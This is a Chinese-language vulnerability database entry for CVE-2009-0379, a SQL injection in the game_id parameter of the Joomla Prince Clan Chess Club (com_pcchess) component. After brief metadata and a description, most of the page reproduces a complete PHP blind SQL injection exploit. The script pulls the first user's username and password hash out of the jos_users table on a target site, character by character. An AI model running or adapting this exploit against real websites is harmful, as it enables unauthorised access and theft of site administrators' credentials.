Joomla! Prince Clan Chess Club com_pcchess组件'game_id'参数SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117269 漏洞类型 SQL注入
发布时间 2009-01-21 更新时间 2009-02-02
CVE编号 CVE-2009-0379 CNNVD-ID CNNVD-200902-004
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7846
https://cxsecurity.com/issue/WLB-2009020082
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-004
|漏洞详情
Joomla!是开放源码的内容管理系统(CMS)。Joomla!PrinceClanChessClub(com_pcchess)组件存在SQL注入漏洞。远程攻击者可以借助对index.php的显示游戏操作中的game_id参数,执行任意的SQL指令。此漏洞不同于CVE-2008-0761。
|漏洞EXP
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_pcchess (game_id) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                            == inject0r5 t3am ==
#
#     usegae : php file.php "http://site/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-21]
|参考资料

来源:XF
名称:joomla-pcchess-gameid-sql-injection(48144)
链接:http://xforce.iss.net/xforce/xfdb/48144
来源:BID
名称:33394
链接:http://www.securityfocus.com/bid/33394
来源:MILW0RM
名称:7846
链接:http://www.milw0rm.com/exploits/7846